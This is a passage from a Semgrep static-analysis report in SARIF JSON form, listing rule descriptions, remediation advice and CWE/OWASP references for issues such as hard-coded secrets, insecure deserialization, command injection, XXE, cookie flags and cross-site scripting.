rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.jwt.jwt-hardcoded-secret.jwt-hardcoded-secret","id":"csharp.dotnet-core.jwt.jwt-hardcoded-secret.jwt-hardcoded-secret","name":"csharp.dotnet-core.jwt.jwt-hardcoded-secret.jwt-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.jwt.jwt-hardcoded-secret.jwt-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Calling `unserialize()` with user input in the pattern can lead to arbitrary code execution. Consider using JSON or structured data approaches (e.g. Google Protocol Buffers)."},"help":{"markdown":"Calling `unserialize()` with user input in the pattern can lead to arbitrary code execution. Consider using JSON or structured data approaches (e.g. Google Protocol Buffers).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.unserialize-use.unserialize-use)\n - [https://www.php.net/manual/en/function.unserialize.php](https://www.php.net/manual/en/function.unserialize.php)\n - [https://owasp.org/www-project-top-ten/2017/A8_2017-Insecure_Deserialization.html](https://owasp.org/www-project-top-ten/2017/A8_2017-Insecure_Deserialization.html)\n","text":"Calling `unserialize()` with user input in the pattern can lead to arbitrary code execution. Consider using JSON or structured data approaches (e.g. Google Protocol Buffers)."},"helpUri":"https://semgrep.dev/r/php.lang.security.unserialize-use.unserialize-use","id":"php.lang.security.unserialize-use.unserialize-use","name":"php.lang.security.unserialize-use.unserialize-use","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.unserialize-use.unserialize-use"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret","id":"java.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret","name":"java.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using `shelve`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"help":{"markdown":"Avoid using `shelve`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.deserialization.pickle.avoid-shelve)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n","text":"Avoid using `shelve`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"helpUri":"https://semgrep.dev/r/python.lang.security.deserialization.pickle.avoid-shelve","id":"python.lang.security.deserialization.pickle.avoid-shelve","name":"python.lang.security.deserialization.pickle.avoid-shelve","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.deserialization.pickle.avoid-shelve"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."},"help":{"markdown":"The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.injections.os-command.os-command-injection)\n - [https://owasp.org/www-community/attacks/Command_Injection](https://owasp.org/www-community/attacks/Command_Injection)\n","text":"The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.injections.os-command.os-command-injection","id":"csharp.lang.security.injections.os-command.os-command-injection","name":"csharp.lang.security.injections.os-command.os-command-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.injections.os-command.os-command-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe","id":"kotlin.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe","name":"kotlin.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.audit.cookies.missing-secure.missing-secure)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"helpUri":"https://semgrep.dev/r/java.micronaut.audit.cookies.missing-secure.missing-secure","id":"java.micronaut.audit.cookies.missing-secure.missing-secure","name":"java.micronaut.audit.cookies.missing-secure.missing-secure","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.audit.cookies.missing-secure.missing-secure"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected subprocess function with argument tainted by an `event` object.  If this data can be controlled by a malicious actor, it may be an instance of command injection. The default option for `shell` is False, and this is secure by default. Consider removing the `shell=True` or setting it to False explicitely. Using `shell=False` means you have to split the command string into an array of strings for the command and its arguments. You may consider using 'shlex.split()' for this purpose."},"help":{"markdown":"Detected subprocess function with argument tainted by an `event` object.  If this data can be controlled by a malicious actor, it may be an instance of command injection. The default option for `shell` is False, and this is secure by default. Consider removing the `shell=True` or setting it to False explicitely. Using `shell=False` means you have to split the command string into an array of strings for the command and its arguments. You may consider using 'shlex.split()' for this purpose.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.dangerous-subprocess-use.dangerous-subprocess-use)\n - [https://docs.python.org/3/library/subprocess.html](https://docs.python.org/3/library/subprocess.html)\n - [https://docs.python.org/3/library/shlex.html](https://docs.python.org/3/library/shlex.html)\n","text":"Detected subprocess function with argument tainted by an `event` object.  If this data can be controlled by a malicious actor, it may be an instance of command injection. The default option for `shell` is False, and this is secure by default. Consider removing the `shell=True` or setting it to False explicitely. Using `shell=False` means you have to split the command string into an array of strings for the command and its arguments. You may consider using 'shlex.split()' for this purpose."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.dangerous-subprocess-use.dangerous-subprocess-use","id":"python.aws-lambda.security.dangerous-subprocess-use.dangerous-subprocess-use","name":"python.aws-lambda.security.dangerous-subprocess-use.dangerous-subprocess-use","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.dangerous-subprocess-use.dangerous-subprocess-use"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'content_tag()' bypasses HTML escaping for some portion of the content. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Ensure no external data reaches here. If you must do this, create your HTML manually and use 'html_safe'. Ensure no external data enters the HTML-safe string!"},"help":{"markdown":"'content_tag()' bypasses HTML escaping for some portion of the content. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Ensure no external data reaches here. If you must do this, create your HTML manually and use 'html_safe'. Ensure no external data enters the HTML-safe string!\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-content-tag.avoid-content-tag)\n - [https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/template_injection/index.markdown](https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/template_injection/index.markdown)\n - [https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/](https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/)\n","text":"'content_tag()' bypasses HTML escaping for some portion of the content. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Ensure no external data reaches here. If you must do this, create your HTML manually and use 'html_safe'. Ensure no external data enters the HTML-safe string!"},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-content-tag.avoid-content-tag","id":"ruby.rails.security.audit.xss.avoid-content-tag.avoid-content-tag","name":"ruby.rails.security.audit.xss.avoid-content-tag.avoid-content-tag","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-content-tag.avoid-content-tag"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.django-cookie-httponly-missing.django-cookie-httponly-missing)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"helpUri":"https://semgrep.dev/r/python.django.web.django-cookie-httponly-missing.django-cookie-httponly-missing","id":"python.django.web.django-cookie-httponly-missing.django-cookie-httponly-missing","name":"python.django.web.django-cookie-httponly-missing.django-cookie-httponly-missing","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.django-cookie-httponly-missing.django-cookie-httponly-missing"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a template block where autoescaping is explicitly disabled with '{% autoescape off %}'. This allows rendering of raw HTML in this segment. Turn autoescaping on to prevent cross-site scripting (XSS). If you must do this, consider instead, using `mark_safe` in Python code."},"help":{"markdown":"Detected a template block where autoescaping is explicitly disabled with '{% autoescape off %}'. This allows rendering of raw HTML in this segment. Turn autoescaping on to prevent cross-site scripting (XSS). If you must do this, consider instead, using `mark_safe` in Python code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.template-autoescape-off.template-autoescape-off)\n - [https://docs.djangoproject.com/en/3.1/ref/templates/builtins/#autoescape](https://docs.djangoproject.com/en/3.1/ref/templates/builtins/#autoescape)\n","text":"Detected a template block where autoescaping is explicitly disabled with '{% autoescape off %}'. This allows rendering of raw HTML in this segment. Turn autoescaping on to prevent cross-site scripting (XSS). If you must do this, consider instead, using `mark_safe` in Python code."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.template-autoescape-off.template-autoescape-off","id":"python.django.security.audit.xss.template-autoescape-off.template-autoescape-off","name":"python.django.security.audit.xss.template-autoescape-off.template-autoescape-off","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.template-autoescape-off.template-autoescape-off"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found a formatted template string passed to 'template.URL()'. 'template.URL()' does not escape contents, and this could result in XSS (cross-site scripting) and therefore confidential data being stolen. Sanitize data coming into this function or make sure that no user-controlled input is coming into the function."},"help":{"markdown":"Found a formatted template string passed to 'template.URL()'. 'template.URL()' does not escape contents, and this could result in XSS (cross-site scripting) and therefore confidential data being stolen. Sanitize data coming into this function or make sure that no user-controlled input is coming into the function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.unescaped-data-in-url.unescaped-data-in-url)\n - [https://golang.org/pkg/html/template/#URL](https://golang.org/pkg/html/template/#URL)\n","text":"Found a formatted template string passed to 'template.URL()'. 'template.URL()' does not escape contents, and this could result in XSS (cross-site scripting) and therefore confidential data being stolen. Sanitize data coming into this function or make sure that no user-controlled input is coming into the function."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.unescaped-data-in-url.unescaped-data-in-url","id":"go.lang.security.audit.net.unescaped-data-in-url.unescaped-data-in-url","name":"go.lang.security.audit.net.unescaped-data-in-url.unescaped-data-in-url","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.unescaped-data-in-url.unescaped-data-in-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Pod is sharing the host IPC namespace. This allows container processes to communicate with processes on the host which reduces isolation and bypasses container protection models. Remove the 'hostIPC' key to disable this functionality."},"help":{"markdown":"Pod is sharing the host IPC namespace. This allows container processes to communicate with processes on the host which reduces isolation and bypasses container protection models. Remove the 'hostIPC' key to disable this functionality.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.hostipc-pod.hostipc-pod)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#host-namespaces](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#host-namespaces)\n","text":"Pod is sharing the host IPC namespace. This allows container processes to communicate with processes on the host which reduces isolation and bypasses container protection models. Remove the 'hostIPC' key to disable this functionality."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.hostipc-pod.hostipc-pod","id":"yaml.kubernetes.security.hostipc-pod.hostipc-pod","name":"yaml.kubernetes.security.hostipc-pod.hostipc-pod","properties":{"precision":"very-high","tags":["CWE-693: Protection Mechanism Failure","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.hostipc-pod.hostipc-pod"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"APIs (namely ptrace) were identified which are forbidden from iOS appstore applications. The application should avoid calling such APIs, as this may result in a blocker during app store review."},"help":{"markdown":"APIs (namely ptrace) were identified which are forbidden from iOS appstore applications. The application should avoid calling such APIs, as this may result in a blocker during app store review.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.lang.forbidden.forbidden-ios-api.swift-forbidden-ios-apis)\n - [https://mas.owasp.org/MASVS/10-MASVS-CODE/](https://mas.owasp.org/MASVS/10-MASVS-CODE/)\n","text":"APIs (namely ptrace) were identified which are forbidden from iOS appstore applications. The application should avoid calling such APIs, as this may result in a blocker during app store review."},"helpUri":"https://semgrep.dev/r/swift.lang.forbidden.forbidden-ios-api.swift-forbidden-ios-apis","id":"swift.lang.forbidden.forbidden-ios-api.swift-forbidden-ios-apis","name":"swift.lang.forbidden.forbidden-ios-api.swift-forbidden-ios-apis","properties":{"precision":"very-high","tags":["CWE-477: Use of Obsolete Function","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.lang.forbidden.forbidden-ios-api.swift-forbidden-ios-apis"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The `__html__` method indicates to the Django template engine that the value is 'safe' for rendering. This means that normal HTML escaping will not be applied to the return value. This exposes your application to cross-site scripting (XSS) vulnerabilities. If you need to render raw HTML, consider instead using `mark_safe()` which more clearly marks the intent to render raw HTML than a class with a magic method."},"help":{"markdown":"The `__html__` method indicates to the Django template engine that the value is 'safe' for rendering. This means that normal HTML escaping will not be applied to the return value. This exposes your application to cross-site scripting (XSS) vulnerabilities. If you need to render raw HTML, consider instead using `mark_safe()` which more clearly marks the intent to render raw HTML than a class with a magic method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.html-magic-method.html-magic-method)\n - [https://docs.djangoproject.com/en/3.0/_modules/django/utils/html/#conditional_escape](https://docs.djangoproject.com/en/3.0/_modules/django/utils/html/#conditional_escape)\n - [https://gist.github.com/minusworld/7885d8a81dba3ea2d1e4b8fd3c218ef5](https://gist.github.com/minusworld/7885d8a81dba3ea2d1e4b8fd3c218ef5)\n","text":"The `__html__` method indicates to the Django template engine that the value is 'safe' for rendering. This means that normal HTML escaping will not be applied to the return value. This exposes your application to cross-site scripting (XSS) vulnerabilities. If you need to render raw HTML, consider instead using `mark_safe()` which more clearly marks the intent to render raw HTML than a class with a magic method."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.html-magic-method.html-magic-method","id":"python.django.security.audit.xss.html-magic-method.html-magic-method","name":"python.django.security.audit.xss.html-magic-method.html-magic-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.html-magic-method.html-magic-method"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-torch-pickle-fastapi.tainted-torch-pickle-fastapi)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/;](https://davidhamann.de/2020/04/05/exploiting-python-pickle/;)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f)](https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f))\n - [https://pytorch.org/docs/stable/generated/torch.load.html](https://pytorch.org/docs/stable/generated/torch.load.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-torch-pickle-fastapi.tainted-torch-pickle-fastapi","id":"python.fastapi.deserialization.tainted-torch-pickle-fastapi.tainted-torch-pickle-fastapi","name":"python.fastapi.deserialization.tainted-torch-pickle-fastapi.tainted-torch-pickle-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-torch-pickle-fastapi.tainted-torch-pickle-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The object is passed strictly to jsonwebtoken.sign(...) Make sure that sensitive information is not exposed through JWT token payload."},"help":{"markdown":"The object is passed strictly to jsonwebtoken.sign(...) Make sure that sensitive information is not exposed through JWT token payload.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jsonwebtoken.security.audit.jwt-exposed-data.jwt-exposed-data)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"The object is passed strictly to jsonwebtoken.sign(...) Make sure that sensitive information is not exposed through JWT token payload."},"helpUri":"https://semgrep.dev/r/javascript.jsonwebtoken.security.audit.jwt-exposed-data.jwt-exposed-data","id":"javascript.jsonwebtoken.security.audit.jwt-exposed-data.jwt-exposed-data","name":"javascript.jsonwebtoken.security.audit.jwt-exposed-data.jwt-exposed-data","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jsonwebtoken.security.audit.jwt-exposed-data.jwt-exposed-data"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. When returning a String in FastAPI views, the 